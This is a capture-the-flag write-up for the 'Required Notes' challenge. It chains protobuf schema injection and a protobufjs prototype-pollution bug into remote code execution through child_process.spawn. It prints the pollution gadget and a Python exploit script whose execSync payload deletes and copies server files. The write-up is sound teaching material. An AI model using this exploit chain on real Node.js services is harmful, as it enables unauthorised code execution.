Required Notes

Every CTF requires at least one overly complicated notes app.
Author: Z_Pacifist
18th solve - r2uwu2 @ PBR | UCLA

Initial Glee

When I first took a look at this challenge with my teammate Benson Liu (the bizzler), we thought we found the vulnerability.

image
image

However, the glee was short-lived.

image

The admin does not visit a page we control and also javascript is disabled so a leak is fairly hard.

Analysis

Protobuf Schema Injection

After staring at the application really hard, we found the below endpoint that customises whether author and title fields are required or optional for the /create endpoint.

app.post("/customise", (req, res) => { try { const { data } = req.body; const author = data.pop()["author"]; const title = data.pop()["title"]; const protoContents = fs.readFileSync("./settings.proto", "utf-8").split( "\n", ); if (author) { protoContents[5] = ` ${author} string author = 3 [default="user"];`; } if (title) { protoContents[3] = ` ${title} string title = 1 [default="user"];`; } fs.writeFileSync("./settings.proto", protoContents.join("\n"), "utf-8"); return res.json({ Message: "Settings changed" }); } catch (error) { console.error(error); res.status(500).json({ Message: "Internal server error" }); } });

There is a glaring injection in this. We can effectively put whatever protobuf we want into the schema. Changing the defaults of specific fields won't really get us much though as the defaults in the protobuf schema do not affect the /view endpoints at all.

Note Viewing Endpoint

The endpoint /view/<note> looked interesting as well:

app.get("/view/:noteId", (req, res) => { const noteId = req.params.noteId; try { let note = require.resolve(`./notes/${noteId}`); if (!note.endsWith(".json")) { return res.status(500).json({ Message: "Internal Server Error" }); } const noteData = require(`./notes/${noteId}`); for (const key in module.constructor._pathCache) { if (key.startsWith("./notes/" + noteId)) { // for a key starting with ./notes/Healthcheck // if there is a path that does not end in json and we are viewing // healthcheck, cleanserver() /* delete all items in require cache */ if (!module.constructor._pathCache[key].endsWith(noteId + ".json")) { if (noteId === healthCheckId) { cleanserver(); } delete module.constructor._pathCache[key]; return res.status(500).json({ Message: "Internal Server Error" }); } } } if (req.query.temp !== undefined) { fs.unlink(`./notes/${noteId}.json`, (unlinkError) => { if (unlinkError) { console.error("File missing"); } noteList = noteList.filter((value) => value != noteId); }); } console.log(noteData, noteData.author); return res.render("view", { noteData }); } catch (error) { console.log(error); return res.status(500).json({ Message: "Internal Server Error" }); } });

It does some require magic to cache notes. There are also some special hooks that run if we view healthcheck note. I'm not really sure how to exploit any of this though and I did not end up exploiting this particular endpoint in my final solution

Prototype Pollution

After not really finding too much interesting vulnerabilities other than the protobuf injection, I looked further into the protobuf injection. If we are parsing something from a protobuf, there is a chance that somewhere in the code, it sets arbitrary keys on objects to values controlled by us which would be a prototype pollution vulnerability.

I did some googling and found that protobufjs v7.2.3 is vulnerable to a prototype pollution (disclosed only a few months ago).

I read the blog post detailing the exploit and found below example:

const protobuf = require("protobufjs");
protobuf.parse('option(a).constructor.prototype.verified = true;');
console.log({}.verified);
// returns true

Side Note: I found it amazing how this vulnerabilty was discovered. Apparently, the vulnerability researchers created jazzer to fuzz javascript. I did not know that javascript could be fuzzed and I just found it cool lol.

Side Note 2: I love how in the GitHub advisory, they repeatedly mention "This is not related to CVE-2022-25878" as protobufjs had a different PP vuln a year before.

I ran it in my console and verified that it worked.

Sine we can override properties on objects, I decided to try to override author on healthcheck.json as healthcheck.json omits author field.

fs.writeFileSync(
  `./notes/${healthCheckId}.json`,
  '{"title":"Healthcheck","content":"success"}',
);

I injected below protobuf before optional and tried visiting /view/healthcheck

option(a).constructor.prototype.author = "<h1>owo</h1>";

image

Aww, it looks like author is escaped.

<h1>Note Details</h1>

<% if (noteData.title) { %>
  <h2><%= noteData.title %></h2>
<% } %>

<% if (noteData.author) { %>
  <p>Author: <%= noteData.author %></p>
<% } %>

<p><%- noteData.content %></p>

The only field in the template that is not escaped is content. However, healthcheck.json already has content defined so a prototype pollution will have no effect.

We need something else for our prototype pollution.

Gaining RCE

I searched online for how to turn prototype pollution into an RCE in expressjs as I knew that there was some expressjs prototype pollution vulnerability a while ago so the area is well-explored. I found a hacktricks page dedicated to the topic.

I'll skip over the other child_process functions as we can't use them, but it is possible to achieve arbitrary RCE if we can prototype pollute Object and spawn is called.

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

from hacktricks

Let's break this down: what's happening is that somewhere in spawn, there is a check for whether certain configuration options were passed in and if they were not, it will fall back to our polluted values.

When we run spawn('something'), spawn is internally using a shell to run a shell command something. By setting shell to /proc/self/exe (current executable), we are setting the shell to be node. Now, we cannot really control the arguments to node as those are fixed to something and the argv passed in during calls.

This is where NODE_OPTIONS comes in. NODE_OPTIONS allows us to pass in commandline arguments to node but in the environment. NODE_OPTIONS doe not let us use --eval, but it does let us use --require to load in an arbitrary library. By requiring /proc/self/cmdline, we can execute current argv. Now, we just have to pollute argv0 and we can get arbitrary code execution.

Adapting To Required-Notes

I tested out the hacktricks exploit locally, but it didn't work as there seems to have been a "kEmptyObject fix" whatever that is. However, just like the comment mentions, if we provide argv and options to spawn, it does work.

In required-notes, puppeteer should be using child_process as it needs to spawn a chrome browser. Indeed, looking at puppeteer source, we see that spawn is being called (luckily for us, with arguments).

this.#browserProcess = childProcess.spawn( this.#executablePath, this.#args, { detached: opts.detached, env, stdio, } );

This means that if we can pollute shell, argv0, and NODE_OPTIONS, we can achieve an RCE when the admin bot is spawned.

I tried prototype polluting all the values in a single update to the protobuf schema, but only the first prototype pollution worked. However, modfiying the code to pollute one value at a time allowed me to pollute all the variables.

Final Exploit

I developed a pollute.py to execute the prototype pollutions:

import requests base = "https://ch15457140079.ch.eng.run" url = lambda end: f"{base}{end}" proto_overrides = """ option(a).constructor.prototype.author = "<h1>owo</h1>"; option(a).constructor.prototype.shell = "/proc/self/exe"; option(a).constructor.prototype.argv0 = "console.log(require('child_process').execSync('rm /app/notes/Healthcheck.json && cp /app/notes/* /app/notes/owo.json').toString())//"; option(a).constructor.prototype.NODE_OPTIONS = "--require /proc/self/cmdline"; """.strip().split("\n") for proto_override in proto_overrides: r = requests.post(url("/customise"), json=dict(data=[ { "title": "optional" }, { "author": f'''{proto_override}; optional'''.strip() } ])) print(r) r = requests.post(url("/create"), json={"owo": "uwu"}) print(r)

After polluting the mentioned variables, I visited /healthcheck

healthcheck

Then, I visited /view/owo and captured the flag!

/view/owo

bi0sctf{/oKP/DRGI9ZzPZDW093DXQ==}

PS: I'm not sure what that b64 decodes to as it failed when I ran it through base64 -d, if anyone knows, please dm me at r2uwu2 on discord/instagram.